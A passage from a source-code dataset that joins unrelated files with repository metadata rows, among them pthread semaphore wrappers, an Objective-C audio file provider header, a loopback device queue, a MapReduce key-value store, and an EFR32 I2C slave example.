if (pthread_join(thread, &retval))
return 0;
return retval;
}
#if GFX_USE_POSIX_SEMAPHORES
void gfxSemInit(gfxSem *pSem, semcount_t val, semcount_t limit) {
pSem->max = limit;
sem_init(&pSem->sem, 0, val);
}
void gfxSemDestroy(gfxSem *pSem) {
sem_destroy(&pSem->sem);
}
bool_t gfxSemWait(gfxSem *pSem, delaytime_t ms) {
switch (ms) {
case TIME_INFINITE:
return sem_wait(&pSem->sem) ? FALSE : TRUE;
case TIME_IMMEDIATE:
return sem_trywait(&pSem->sem) ? FALSE : TRUE;
default:
{
struct timespec tm;
clock_gettime(CLOCK_REALTIME, &tm);
tm.tv_sec += ms / 1000;
tm.tv_nsec += (ms % 1000) * 1000000;
return sem_timedwait(&pSem->sem, &tm) ? FALSE : TRUE;
}
}
}
void gfxSemSignal(gfxSem *pSem) {
int res;
res = 0;
sem_getvalue(&pSem->sem, &res);
if (res < pSem->max)
sem_post(&pSem->sem);
}
#else
void gfxSemInit(gfxSem *pSem, semcount_t val, semcount_t limit) {
pthread_mutex_init(&pSem->mtx, 0);
pthread_cond_init(&pSem->cond, 0);
pthread_mutex_lock(&pSem->mtx);
pSem->cnt = val;
pSem->max = limit;
pthread_mutex_unlock(&pSem->mtx);
}
void gfxSemDestroy(gfxSem *pSem) {
pthread_mutex_destroy(&pSem->mtx);
pthread_cond_destroy(&pSem->cond);
}
bool_t gfxSemWait(gfxSem *pSem, delaytime_t ms) {
pthread_mutex_lock(&pSem->mtx);
switch (ms) {
case TIME_INFINITE:
while (!pSem->cnt)
pthread_cond_wait(&pSem->cond, &pSem->mtx);
break;
case TIME_IMMEDIATE:
if (!pSem->cnt) {
pthread_mutex_unlock(&pSem->mtx);
return FALSE;
}
break;
default:
{
struct timespec tm;
clock_gettime(CLOCK_REALTIME, &tm);
tm.tv_sec += ms / 1000;
tm.tv_nsec += (ms % 1000) * 1000000;
while (!pSem->cnt) {
// We used to test the return value for ETIMEDOUT. This doesn't
// work in some current pthread libraries which return -1 instead
// and set errno to ETIMEDOUT. So, we will return FALSE on any error
// including a ETIMEDOUT.
if (pthread_cond_timedwait(&pSem->cond, &pSem->mtx, &tm)) {
pthread_mutex_unlock(&pSem->mtx);
return FALSE;
}
}
}
break;
}
pSem->cnt--;
pthread_mutex_unlock(&pSem->mtx);
return TRUE;
}
void gfxSemSignal(gfxSem *pSem) {
pthread_mutex_lock(&pSem->mtx);
if (pSem->cnt < pSem->max) {
pSem->cnt++;
pthread_cond_signal(&pSem->cond);
}
pthread_mutex_unlock(&pSem->mtx);
}
#endif // GFX_USE_POSIX_SEMAPHORES
#endif /* GFX_USE_OS_LINUX */
| 22.409091 | 136 | 0.68357 |
bd5156d81d12ae19768e7afe01adfc05306dcaec | 1,452 | h | C | XMNAudio/XMNAudio/XMNAudioPlayer/XMNAudioFileProvider.h | ws00801526/XMNAudio | f41ce5a9a78dcd3cf07ce181ac0a214da1e7d70f | [
"MIT"
] | 13 | 2016-07-11T07:41:47.000Z | 2021-05-08T07:18:52.000Z | XMNAudio/XMNAudio/XMNAudioPlayer/XMNAudioFileProvider.h | ws00801526/XMNAudio | f41ce5a9a78dcd3cf07ce181ac0a214da1e7d70f | [
"MIT"
] | 1 | 2020-01-08T02:33:29.000Z | 2020-01-08T02:33:29.000Z | XMNAudio/XMNAudio/XMNAudioPlayer/XMNAudioFileProvider.h | ws00801526/XMNAudio | f41ce5a9a78dcd3cf07ce181ac0a214da1e7d70f | [
"MIT"
] | 3 | 2016-08-26T07:58:05.000Z | 2022-01-19T09:51:02.000Z | //
// XMNAudioFileProvider.h
// XMNAudioRecorderExample
//
// Created by XMFraker on 16/6/29.
// Copyright © 2016年 XMFraker. All rights reserved.
//
#import <Foundation/Foundation.h>
#import "XMNAudioFile.h"
typedef void (^XMNAudioFileProviderEventBlock)(void);
@interface XMNAudioFileProvider : NSObject
+ (instancetype)fileProviderWithAudioFile:(id <XMNAudioFile>)audioFile;
+ (void)setHintWithAudioFile:(id <XMNAudioFile>)audioFile;
@property (nonatomic, readonly) id <XMNAudioFile> audioFile;
@property (nonatomic, copy) XMNAudioFileProviderEventBlock eventBlock;
/** 缓存路径,文件路径 */
@property (nonatomic, readonly) NSString *cachedPath;
/** 缓存路径,文件路径 */
@property (nonatomic, readonly) NSURL *cachedURL;
/** 文件的mimetype, */
@property (nonatomic, readonly) NSString *mimeType;
/** 文件拓展名 */
@property (nonatomic, readonly) NSString *fileExtension;
/** 文件的sha256 */
@property (nonatomic, readonly) NSString *sha256;
@property (nonatomic, readonly) NSData *mappedData;
/** 已经播放的data长度 */
@property (nonatomic, readonly) NSUInteger expectedLength;
/** 已经接受的文件长度 */
@property (nonatomic, readonly) NSUInteger receivedLength;
/** 文件下载速度 */
@property (nonatomic, readonly) NSUInteger downloadSpeed;
/** 是否成功 */
@property (nonatomic, readonly, getter=isFailed) BOOL failed;
/** 是否已经准备好播放 */
@property (nonatomic, readonly, getter=isReady) BOOL ready;
/** 是否文件是否加载完毕 */
@property (nonatomic, readonly, getter=isFinished) BOOL finished;
@end
| 27.923077 | 71 | 0.749311 |
bd51a67c74d47dd00650389767ffcf6c6ab03667 | 4,327 | c | C | lib/devif/backends/loopback/loopback_queue.c | Frankie8472/advanced-operating-systems | bff03e668c76886781e5fdb24dfab5880f79941d | [
"MIT"
] | 5 | 2020-06-12T11:47:21.000Z | 2022-02-27T14:39:05.000Z | lib/devif/backends/loopback/loopback_queue.c | Frankie8472/advanced-operating-systems | bff03e668c76886781e5fdb24dfab5880f79941d | [
"MIT"
] | 3 | 2020-06-04T20:11:26.000Z | 2020-07-26T23:16:33.000Z | lib/devif/backends/loopback/loopback_queue.c | Frankie8472/advanced-operating-systems | bff03e668c76886781e5fdb24dfab5880f79941d | [
"MIT"
] | 3 | 2020-06-12T18:06:29.000Z | 2022-03-13T17:19:02.000Z | /*
* Copyright (c) 2016,2017 ETH Zurich.
* All rights reserved.
*
* This file is distributed under the terms in the attached LICENSE file.
* If you do not find this file, copies can be found by writing to:
* ETH Zurich D-INFK, Universitaetstrasse 6, CH-8092 Zurich. Attn: Systems Group.
*/
#include <aos/aos.h>
#include <devif/queue_interface.h>
#include <devif/backends/loopback_devif.h>
#include <devif/queue_interface_backend.h>
#define LOOPBACK_QUEUE_SIZE 256
struct loopback_queue
{
struct devq q;
struct devq_buf queue[LOOPBACK_QUEUE_SIZE];
size_t head;
size_t tail;
size_t num_ele;
};
static errval_t loopback_enqueue(struct devq* q, regionid_t rid, genoffset_t offset,
genoffset_t length, genoffset_t valid_data,
genoffset_t valid_length, uint64_t flags)
{
struct loopback_queue *lq = (struct loopback_queue *)q;
if (lq->num_ele == LOOPBACK_QUEUE_SIZE) {
//debug_printf("enqueue: head=%lu tail=%lu full\n", lq->head, lq->tail);
return DEVQ_ERR_QUEUE_FULL;
}
//debug_printf("enqueue: head=%lu tail=%lu \n", lq->head, lq->tail);
lq->queue[lq->head].offset = offset; // 8
lq->queue[lq->head].length = length; // 16
lq->queue[lq->head].valid_data = valid_data; // 24
lq->queue[lq->head].valid_length = valid_length; // 32
lq->queue[lq->head].flags = flags; // 40
lq->queue[lq->head].rid = rid; // 44
lq->head = (lq->head + 1) % LOOPBACK_QUEUE_SIZE;
lq->num_ele++;
return SYS_ERR_OK;
}
static errval_t loopback_dequeue(struct devq* q, regionid_t* rid,
genoffset_t* offset, genoffset_t* length,
genoffset_t* valid_data,
genoffset_t* valid_length, uint64_t* flags)
{
struct loopback_queue *lq = (struct loopback_queue *)q;
if (lq->num_ele == 0) {
//debug_printf("dequeue: head=%lu tail=%lu emtpy\n", lq->head, lq->tail);
return DEVQ_ERR_QUEUE_EMPTY;
}
//debug_printf("dequeue: head=%lu tail=%lu \n", lq->head, lq->tail);
*offset = lq->queue[lq->tail].offset; // 8
*length = lq->queue[lq->tail].length; // 16
*valid_data = lq->queue[lq->tail].valid_data; // 24
*valid_length =lq->queue[lq->tail].valid_length; // 32
*flags = lq->queue[lq->tail].flags; // 40
*rid = lq->queue[lq->tail].rid; // 44
lq->tail = (lq->tail + 1) % LOOPBACK_QUEUE_SIZE;
lq->num_ele--;
return SYS_ERR_OK;
}
static errval_t loopback_notify(struct devq *q)
{
#if 0
err = devq_dequeue(q, &(buf.rid), &(buf.addr),
&(buf.len), &(buf.bid), &(buf.flags));
if (err_is_fail(err)) {
return err;
}
err = devq_enqueue(q, buf.rid, buf.addr, buf.len,
buf.flags, &buf.bid);
if (err_is_fail(err)) {
return err;
}
#endif
return SYS_ERR_OK;
}
static errval_t loopback_register(struct devq *q, struct capref cap,
regionid_t region_id)
{
return SYS_ERR_OK;
}
static errval_t loopback_deregister(struct devq *q, regionid_t region_id)
{
return SYS_ERR_OK;
}
static errval_t loopback_control(struct devq *q,
uint64_t request,
uint64_t value,
uint64_t *result)
{
// TODO Might have some options for loopback device?
return SYS_ERR_OK;
}
static errval_t loopback_destroy(struct devq* q)
{
free((struct loopback_queue*)q);
return SYS_ERR_OK;
}
errval_t loopback_queue_create(struct loopback_queue** q)
{
errval_t err;
struct loopback_queue *lq = calloc(1, sizeof(struct loopback_queue));
if (lq == NULL) {
return LIB_ERR_MALLOC_FAIL;
}
err = devq_init(&lq->q, false);
if (err_is_fail(err)) {
free(lq);
return err;
}
lq->head = 0;
lq->tail = 0;
lq->num_ele = 0;
lq->q.f.enq = loopback_enqueue;
lq->q.f.deq = loopback_dequeue;
lq->q.f.reg = loopback_register;
lq->q.f.dereg = loopback_deregister;
lq->q.f.ctrl = loopback_control;
lq->q.f.notify = loopback_notify;
lq->q.f.destroy = loopback_destroy;
*q = lq;
return SYS_ERR_OK;
}
| 27.386076 | 84 | 0.599029 |
bd5241a01cd470148bbeeb71eabf8c0847f731c8 | 4,087 | c | C | metis/lib/kvstore.c | KMU-embedded/mosbench-ext | 721d789576cd7fdd8a90b3833a67d4cf3de46036 | [
"MIT"
] | null | null | null | metis/lib/kvstore.c | KMU-embedded/mosbench-ext | 721d789576cd7fdd8a90b3833a67d4cf3de46036 | [
"MIT"
] | null | null | null | metis/lib/kvstore.c | KMU-embedded/mosbench-ext | 721d789576cd7fdd8a90b3833a67d4cf3de46036 | [
"MIT"
] | null | null | null | #include <math.h>
#include <assert.h>
#include "kvstore.h"
#include "mbktsmgr.h"
#include "reduce.h"
#include "bench.h"
#include "value_helper.h"
#include "apphelper.h"
#include "estimation.h"
#include "mr-conf.h"
#include "rbktsmgr.h"
enum { index_appendbktmgr, index_btreebktmgr, index_arraybktmgr };
static const mbkts_mgr_t *mgrs[] = {
[index_appendbktmgr] = &appendbktmgr,
//Each bucket (partition) is a b+tree sorted by key
[index_btreebktmgr] = &btreebktmgr,
[index_arraybktmgr] = &arraybktmgr,
};
#ifdef FORCE_APPEND
enum // forced to use index_appendbkt
{
def_imgr = index_appendbktmgr
};
#else
enum // available options are index_arraybkt, index_appendbkt, index_btreebkt
{
def_imgr = index_btreebktmgr
};
#endif
static int JSHARED_ATTR imgr;
static key_cmp_t JSHARED_ATTR keycmp = NULL;
static int ncols = 0;
static int nrows = 0;
static int has_backup = 0;
static int bsampling = 0;
static uint64_t nkeys_per_mapper = 0;
static uint64_t npairs_per_mapper = 0;
keycopy_t mrkeycopy = NULL;
static void
kvst_set_bktmgr(int idx)
{
assert(keycmp);
imgr = idx;
mgrs[imgr]->mbm_set_util(keycmp);
rbkts_set_util(keycmp);
reduce_or_group_setcmp(keycmp);
}
void
kvst_sample_init(int rows, int cols)
{
has_backup = 0;
kvst_set_bktmgr(def_imgr);
mgrs[imgr]->mbm_mbks_init(rows, cols);
ncols = cols;
nrows = rows;
est_init();
bsampling = 1;
}
void
kvst_map_task_finished(int row)
{
if (bsampling)
est_task_finished(row);
}
uint64_t
kvst_sample_finished(int ntotal)
{
int nvalid = 0;
for (int i = 0; i < nrows; i++) {
if (est_get_finished(i)) {
nvalid++;
uint64_t nkeys = 0;
uint64_t npairs = 0;
est_estimate(&nkeys, &npairs, i, ntotal);
nkeys_per_mapper += nkeys;
npairs_per_mapper += npairs;
}
}
nkeys_per_mapper /= nvalid;
npairs_per_mapper /= nvalid;
mgrs[imgr]->mbm_mbks_bak();
has_backup = 1;
// Compute the estimated tasks
uint64_t ntasks = nkeys_per_mapper / nkeys_per_bkt;
while (1) {
int prime = 1;
for (int q = 2; q < sqrt((double) ntasks); q++) {
if (ntasks % q == 0) {
prime = 0;
break;
}
}
if (!prime) {
ntasks++;
continue;
} else {
break;
}
};
dprintf("Estimated %" PRIu64 " keys, %" PRIu64 " pairs, %"
PRIu64 " reduce tasks, %" PRIu64 " per bucket\n",
nkeys_per_mapper, npairs_per_mapper, ntasks,
nkeys_per_mapper / ntasks);
bsampling = 0;
return ntasks;
}
void
kvst_map_worker_init(int row)
{
if (has_backup) {
assert(the_app.atype != atype_maponly);
assert(mgrs[imgr]->mbm_rehash_bak);
mgrs[imgr]->mbm_rehash_bak(row);
}
}
void
kvst_init(int rows, int cols, int nsplits)
{
nrows = rows;
ncols = cols;
#ifdef FORCE_APPEND
kvst_set_bktmgr(index_appendbktmgr);
#else
if (the_app.atype == atype_maponly)
kvst_set_bktmgr(index_appendbktmgr);
else
kvst_set_bktmgr(def_imgr);
#endif
mgrs[imgr]->mbm_mbks_init(rows, cols);
rbkts_init(nsplits);
}
void
kvst_destroy(void)
{
rbkts_destroy();
}
void
kvst_map_put(int row, void *key, void *val, size_t keylen, unsigned hash)
{
mgrs[imgr]->mbm_map_put(row, key, val, keylen, hash);
}
void
kvst_set_util(key_cmp_t kcmp, keycopy_t kcp)
{
keycmp = kcmp;
mrkeycopy = kcp;
}
void
kvst_reduce_do_task(int row, int col)
{
assert(the_app.atype != atype_maponly);
rbkts_set_reduce_task(col);
mgrs[imgr]->mbm_do_reduce_task(col);
}
void
kvst_map_worker_finished(int row, int reduce_skipped)
{
if (reduce_skipped) {
assert(!bsampling);
assert(mgrs[imgr]->mbm_map_prepare_merge);
mgrs[imgr]->mbm_map_prepare_merge(row);
}
}
void
kvst_merge(int ncpus, int lcpu, int reduce_skipped)
{
if (the_app.atype == atype_maponly || !reduce_skipped) {
rbkts_merge(ncpus, lcpu);
} else {
const pc_handler_t *pch;
int ncolls;
void *acolls = mgrs[imgr]->mbm_map_get_output(&pch, &ncolls);
rbkts_merge_reduce(pch, acolls, ncolls, ncpus, lcpu);
}
}
void
kvst_reduce_put(void *key, void *val)
{
rbkts_emit_kv(key, val);
}
| 20.232673 | 80 | 0.679471 |
bd534ff7973a0412af34868dd9ec026e6a9d59ac | 721 | h | C | src/plugins/blasq/plugins/vangog/registerpage.h | Maledictus/leechcraft | 79ec64824de11780b8e8bdfd5d8a2f3514158b12 | [
"BSL-1.0"
] | 120 | 2015-01-22T14:10:39.000Z | 2021-11-25T12:57:16.000Z | src/plugins/blasq/plugins/vangog/registerpage.h | Maledictus/leechcraft | 79ec64824de11780b8e8bdfd5d8a2f3514158b12 | [
"BSL-1.0"
] | 8 | 2015-02-07T19:38:19.000Z | 2017-11-30T20:18:28.000Z | src/plugins/blasq/plugins/vangog/registerpage.h | Maledictus/leechcraft | 79ec64824de11780b8e8bdfd5d8a2f3514158b12 | [
"BSL-1.0"
] | 33 | 2015-02-07T16:59:55.000Z | 2021-10-12T00:36:40.000Z | /**********************************************************************
* LeechCraft - modular cross-platform feature rich internet client.
* Copyright (C) 2010-2013 Oleg Linkin <MaledictusDeMagog@gmail.com>
*
* Distributed under the Boost Software License, Version 1.0.
* (See accompanying file LICENSE or copy at https://www.boost.org/LICENSE_1_0.txt)
**********************************************************************/
#pragma once
#include <QWizardPage>
#include "ui_registerpage.h"
namespace LC
{
namespace Blasq
{
namespace Vangog
{
class RegisterPage : public QWizardPage
{
Q_OBJECT
Ui::RegisterPage Ui_;
public:
RegisterPage (QWidget *parent = 0);
QString GetLogin () const;
};
}
}
}
| 21.205882 | 83 | 0.585298 |
bd5435b50233e4e4f1c51d1c59cd1f11f5c5a186 | 3,074 | h | C | ObitSystem/Obit/include/ObitClassDef.h | sarrvesh/Obit | e4ce6029e9beb2a8c0316ee81ea710b66b2b7986 | [
"Linux-OpenIB"
] | 5 | 2019-08-26T06:53:08.000Z | 2020-10-20T01:08:59.000Z | ObitSystem/Obit/include/ObitClassDef.h | sarrvesh/Obit | e4ce6029e9beb2a8c0316ee81ea710b66b2b7986 | [
"Linux-OpenIB"
] | null | null | null | ObitSystem/Obit/include/ObitClassDef.h | sarrvesh/Obit | e4ce6029e9beb2a8c0316ee81ea710b66b2b7986 | [
"Linux-OpenIB"
] | 8 | 2017-08-29T15:12:32.000Z | 2022-03-31T12:16:08.000Z | /* $Id$ */
/*--------------------------------------------------------------------*/
/*; Copyright (C) 2002-2008 */
/*; Associated Universities, Inc. Washington DC, USA. */
/*; This program is free software; you can redistribute it and/or */
/*; modify it under the terms of the GNU General Public License as */
/*; published by the Free Software Foundation; either version 2 of */
/*; the License, or (at your option) any later version. */
/*; */
/*; This program is distributed in the hope that it will be useful, */
/*; but WITHOUT ANY WARRANTY; without even the implied warranty of */
/*; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */
/*; GNU General Public License for more details. */
/*; */
/*; You should have received a copy of the GNU General Public */
/*; License along with this program; if not, write to the Free */
/*; Software Foundation, Inc., 675 Massachusetts Ave, Cambridge, */
/*; MA 02139, USA. */
/*; */
/*; Correspondence this software should be addressed as follows: */
/*; Internet email: bcotton@nrao.edu. */
/*; Postal address: William Cotton */
/*; National Radio Astronomy Observatory */
/*; 520 Edgemont Road */
/*; Charlottesville, VA 22903-2475 USA */
/*--------------------------------------------------------------------*/
/* Define the basic components of the Obit InfoClass structure */
/* This is intended to be included in a classInfo structure definition*/
/** Have I been initialized? */
gboolean initialized;
/** Are disk resident "scratch" objects of this class possible? */
gboolean hasScratch;
/** Name of class ("Obit") */
gchar* ClassName;
/** Pointer to parent class ClassInfo, Null if none. */
gconstpointer ParentClass;
/** Function pointer to Class initializer */
ObitClassInitFP ObitClassInit;
/** Function pointer to newObit. */
newObitFP newObit;
/** Function pointer to GetClass. */
ObitGetClassFP ObitGetClass;
/** Function pointer to ClassInfoDefFn. */
ObitClassInfoDefFnFP ObitClassInfoDefFn;
/** Function pointer to shallow copy constructor. */
ObitCopyFP ObitCopy;
/** Function pointer to deep copy constructor. */
ObitCloneFP ObitClone;
/** Function pointer to Object Ref. */
ObitRefFP ObitRef;
/** Function pointer to Object Unref. */
ObitUnrefFP ObitUnref;
/** Function pointer to test if a class member. */
ObitIsAFP ObitIsA;
/* private functions - added in first call to newObit */
/** Function pointer to deallocation function. */
ObitClearFP ObitClear;
/** Function pointer to object initializer. */
ObitInitFP ObitInit;
| 51.233333 | 72 | 0.555303 |
bd54a5ae3630d71d252db515b53ba3a119a61efe | 353 | h | C | macOS/10.13/CoreImage.framework/CIPortraitLocalContrast.h | onmyway133/Runtime-Headers | e9b80e7ab9103f37ad421ad6b8b58ee06369d21f | [
"MIT"
] | 30 | 2016-10-09T20:13:00.000Z | 2022-01-24T04:14:57.000Z | macOS/10.13/CoreImage.framework/CIPortraitLocalContrast.h | onmyway133/Runtime-Headers | e9b80e7ab9103f37ad421ad6b8b58ee06369d21f | [
"MIT"
] | null | null | null | macOS/10.13/CoreImage.framework/CIPortraitLocalContrast.h | onmyway133/Runtime-Headers | e9b80e7ab9103f37ad421ad6b8b58ee06369d21f | [
"MIT"
] | 7 | 2017-08-29T14:41:25.000Z | 2022-01-19T17:14:54.000Z | /* Generated by RuntimeBrowser
Image: /System/Library/Frameworks/CoreImage.framework/Versions/A/CoreImage
*/
@interface CIPortraitLocalContrast : CIFilter {
CIImage * inputImage;
CIVector * inputScale;
NSNumber * inputStrength;
}
+ (id)customAttributes;
- (id)_convertToGrayscale;
- (id)_kernelLocalContrast;
- (id)outputImage;
@end
| 19.611111 | 77 | 0.74221 |
bd54e6af1d3953f35d89c05d91e27e1c4d7262e8 | 10,420 | c | C | series2/i2c/i2c_slave/src/main.c | nestorayuso/peripheral_examples | ddda284c06f35aa27f977758c4e76366a954ffb9 | [
"Zlib"
] | null | null | null | series2/i2c/i2c_slave/src/main.c | nestorayuso/peripheral_examples | ddda284c06f35aa27f977758c4e76366a954ffb9 | [
"Zlib"
] | null | null | null | series2/i2c/i2c_slave/src/main.c | nestorayuso/peripheral_examples | ddda284c06f35aa27f977758c4e76366a954ffb9 | [
"Zlib"
] | null | null | null | /***************************************************************************//**
* @file main.c
* @brief This project demonstrates the slave configuration of the EFx32xG21 I2C
* peripheral. Two EFx32xG21 modules are connected together, one running the
* master project, the other running the slave project. The master reads the
* slave's current buffer values, increments each value, and writes the new
* values back to the slave device. The master then reads back the slave values
* again and verifies the new values match what was previously written. This
* program runs in a continuous loop, entering and exiting EM2 to handle I2C
* transmissions. Slave toggles LED0 on during I2C transaction and off when
* complete. Slave will set LED1 if an I2C transmission error is encountered.
*******************************************************************************
* # License
* <b>Copyright 2020 Silicon Laboratories Inc. www.silabs.com</b>
*******************************************************************************
*
* SPDX-License-Identifier: Zlib
*
* The licensor of this software is Silicon Laboratories Inc.
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
*
* Permission is granted to anyone to use this software for any purpose,
* including commercial applications, and to alter it and redistribute it
* freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you must not
* claim that you wrote the original software. If you use this software
* in a product, an acknowledgment in the product documentation would be
* appreciated but is not required.
* 2. Altered source versions must be plainly marked as such, and must not be
* misrepresented as being the original software.
* 3. This notice may not be removed or altered from any source distribution.
*
*******************************************************************************
* # Evaluation Quality
* This code has been minimally tested to ensure that it builds and is suitable
* as a demonstration for evaluation purposes only. This code will be maintained
* at the sole discretion of Silicon Labs.
******************************************************************************/
#include <stdio.h>
#include "em_device.h"
#include "em_chip.h"
#include "em_i2c.h"
#include "em_cmu.h"
#include "em_emu.h"
#include "em_gpio.h"
#include "em_rtcc.h"
#include "bsp.h"
// Defines
#define I2C_ADDRESS 0xE2
#define I2C_BUFFER_SIZE 10
// Buffers
uint8_t i2c_Buffer[I2C_BUFFER_SIZE];
uint8_t i2c_BufferIndex;
// Transmission flags
volatile bool i2c_gotTargetAddress;
volatile bool i2c_rxInProgress;
extern void disableClocks(void);
/**************************************************************************//**
* @brief Starting oscillators and enabling clocks
*****************************************************************************/
void initCMU(void)
{
// Enabling clock to the I2C and GPIO
CMU_ClockEnable(cmuClock_I2C0, true);
CMU_ClockEnable(cmuClock_GPIO, true);
}
/**************************************************************************//**
* @brief GPIO initialization
*****************************************************************************/
void initGPIO(void)
{
// Configure LED0 and LED1 as output
GPIO_PinModeSet(BSP_GPIO_LED0_PORT, BSP_GPIO_LED0_PIN, gpioModePushPull, 0);
GPIO_PinModeSet(BSP_GPIO_LED1_PORT, BSP_GPIO_LED1_PIN, gpioModePushPull, 0);
}
/**************************************************************************//**
* @brief Setup I2C
*****************************************************************************/
void initI2C(void)
{
// Using default settings
I2C_Init_TypeDef i2cInit = I2C_INIT_DEFAULT;
// Configure to be addressable as slave
i2cInit.master = false;
// Using PA5 (SDA) and PA6 (SCL)
GPIO_PinModeSet(gpioPortA, 5, gpioModeWiredAndPullUpFilter, 1);
GPIO_PinModeSet(gpioPortA, 6, gpioModeWiredAndPullUpFilter, 1);
// Enable pins at location 15 as specified in datasheet
GPIO->I2CROUTE[0].SDAROUTE = (GPIO->I2CROUTE[0].SDAROUTE & ~_GPIO_I2C_SDAROUTE_MASK)
| (gpioPortA << _GPIO_I2C_SDAROUTE_PORT_SHIFT
| (5 << _GPIO_I2C_SDAROUTE_PIN_SHIFT));
GPIO->I2CROUTE[0].SCLROUTE = (GPIO->I2CROUTE[0].SCLROUTE & ~_GPIO_I2C_SCLROUTE_MASK)
| (gpioPortA << _GPIO_I2C_SCLROUTE_PORT_SHIFT
| (6 << _GPIO_I2C_SCLROUTE_PIN_SHIFT));
GPIO->I2CROUTE[0].ROUTEEN = GPIO_I2C_ROUTEEN_SDAPEN | GPIO_I2C_ROUTEEN_SCLPEN;
// Initializing the I2C
I2C_Init(I2C0, &i2cInit);
// Initializing the buffer index
i2c_BufferIndex = 0;
// Setting up to enable slave mode
I2C_SlaveAddressSet(I2C0, I2C_ADDRESS);
I2C_SlaveAddressMaskSet(I2C0, 0xFE); // must match exact address
I2C0->CTRL = I2C_CTRL_SLAVE;
// Configure interrupts
I2C_IntClear(I2C0, _I2C_IF_MASK);
I2C_IntEnable(I2C0, I2C_IEN_ADDR | I2C_IEN_RXDATAV | I2C_IEN_ACK | I2C_IEN_SSTOP | I2C_IEN_BUSERR | I2C_IEN_ARBLOST);
NVIC_EnableIRQ(I2C0_IRQn);
}
/**************************************************************************//**
* @brief I2C Interrupt Handler.
* The interrupt table is in assembly startup file startup_efm32.s
*****************************************************************************/
void I2C0_IRQHandler(void)
{
uint32_t pending;
uint32_t rxData;
pending = I2C0->IF;
/* If some sort of fault, abort transfer. */
if (pending & (I2C_IF_BUSERR | I2C_IF_ARBLOST))
{
i2c_rxInProgress = false;
GPIO_PinOutSet(BSP_GPIO_LED1_PORT, BSP_GPIO_LED1_PIN);
} else
{
if(pending & I2C_IF_ADDR)
{
// Address Match
// Indicating that reception is started
rxData = I2C0->RXDATA;
I2C0->CMD = I2C_CMD_ACK;
i2c_rxInProgress = true;
if(rxData & 0x1) // read bit set
{
if(i2c_BufferIndex < I2C_BUFFER_SIZE) {
// transfer data
I2C0->TXDATA = i2c_Buffer[i2c_BufferIndex++];
} else
{
// invalid buffer index; transfer data as if slave non-responsive
I2C0->TXDATA = 0xFF;
}
} else
{
i2c_gotTargetAddress = false;
}
I2C_IntClear(I2C0, I2C_IF_ADDR | I2C_IF_RXDATAV);
GPIO_PinOutSet(BSP_GPIO_LED0_PORT, BSP_GPIO_LED0_PIN);
} else if(pending & I2C_IF_RXDATAV)
{
rxData = I2C0->RXDATA;
if(!i2c_gotTargetAddress)
{
/******************************************************/
/* Read target address from master. */
/******************************************************/
// verify that target address is valid
if(rxData < I2C_BUFFER_SIZE)
{
// store target address
i2c_BufferIndex = rxData;
I2C0->CMD = I2C_CMD_ACK;
i2c_gotTargetAddress = true;
} else
{
I2C0->CMD = I2C_CMD_NACK;
}
} else
{
/******************************************************/
/* Read new data and write to target address */
/******************************************************/
// verify that target address is valid
if(i2c_BufferIndex < I2C_BUFFER_SIZE)
{
// write new data to target address; auto increment target address
i2c_Buffer[i2c_BufferIndex++] = rxData;
I2C0->CMD = I2C_CMD_ACK;
} else
{
I2C0->CMD = I2C_CMD_NACK;
}
}
I2C_IntClear(I2C0, I2C_IF_RXDATAV);
}
if(pending & I2C_IF_ACK)
{
/******************************************************/
/* Master ACK'ed, so requesting more data. */
/******************************************************/
if(i2c_BufferIndex < I2C_BUFFER_SIZE)
{
// transfer data
I2C0->TXDATA = i2c_Buffer[i2c_BufferIndex++];
} else
{
// invalid buffer index; transfer data as if slave non-responsive
I2C0->TXDATA = 0xFF;
}
I2C_IntClear(I2C0, I2C_IF_ACK);
}
if(pending & I2C_IF_SSTOP)
{
// end of transaction
i2c_rxInProgress = false;
I2C_IntClear(I2C0, I2C_IF_SSTOP);
}
}
}
/***************************************************************************//**
* @brief
* Enter EM2 with RTCC running on a low frequency oscillator.
*
* @param[in] osc
* Oscillator to run RTCC from (LFXO or LFRCO).
* @param[in] powerdownRam
* Power down all RAM except the first 16 kB block or retain full RAM.
*
* @details
* Parameter:
* EM2. Deep Sleep Mode.@n
* Condition:
* RTCC, 32.768 kHz LFXO or LFRCO.@n
*
* @note
* To better understand disabling clocks and oscillators for specific modes,
* see Reference Manual section EMU-Energy Management Unit and Table 9.2.
******************************************************************************/
void em_EM2_RTCC(CMU_Select_TypeDef osc, bool powerdownRam)
{
// Make sure clocks are disabled.
disableClocks();
// Route desired oscillator to RTCC clock tree.
CMU_ClockSelectSet(cmuClock_RTCCCLK, osc);
// Setup RTC parameters
RTCC_Init_TypeDef rtccInit = RTCC_INIT_DEFAULT;
rtccInit.presc = rtccCntPresc_1;
// Initialize RTCC
CMU_ClockEnable(cmuClock_RTCC, true);
RTCC_Reset();
RTCC_Init(&rtccInit);
// Power down all RAM blocks except block 0
if (powerdownRam) {
EMU_RamPowerDown(SRAM_BASE, 0);
}
// Enter EM2.
EMU_EnterEM2(true);
}
/**************************************************************************//**
* @brief Main function
*****************************************************************************/
int main(void)
{
// Chip errata
CHIP_Init();
// Initializations
initCMU();
initGPIO();
// Setting up i2c
initI2C();
while (1)
{
// Receiving I2C data; keep in EM1 during transmission
while(i2c_rxInProgress)
{
EMU_EnterEM1();
}
GPIO_PinOutClear(BSP_GPIO_LED0_PORT, BSP_GPIO_LED0_PIN);
// Enter EM2. The I2C address match will wake up the EFM32
// EM2 with RTCC running off LFRCO is a documented current mode in the DS
em_EM2_RTCC(cmuSelect_LFRCO, false);
}
}
| 32.974684 | 119 | 0.564107 |
bd55953003dc41008d5db04b848350a451003611 | 7,937 | h | C | test/echoMsg.pb.h | Arewethere/WReactor | cb1a9ec737ab1dcf730572fe11c6329521e852d3 | [
"MIT"
] | 242 | 2017-09-30T08:55:22.000Z | 2022-03-29T07:52:59.000Z | example/udpEchoServer/echoMsg.pb.h | adam-alan/Easy-Reactor | 5a1d7a6ee522e478fb127c601f5702f0d1c06006 | [
"MIT"
] | 12 | 2018-03-20T06:11:31.000Z | 2020-05-03T05:14:37.000Z | example/udpEchoServer/echoMsg.pb.h | adam-alan/Easy-Reactor | 5a1d7a6ee522e478fb127c601f5702f0d1c06006 | [
"MIT"
] | 87 | 2017-09-14T09:58:46.000Z | 2022-03-29T07:53:00.000Z | // Generated by the protocol buffer compiler. DO NOT EDIT!
// source: echoMsg.proto
#ifndef PROTOBUF_echoMsg_2eproto__INCLUDED
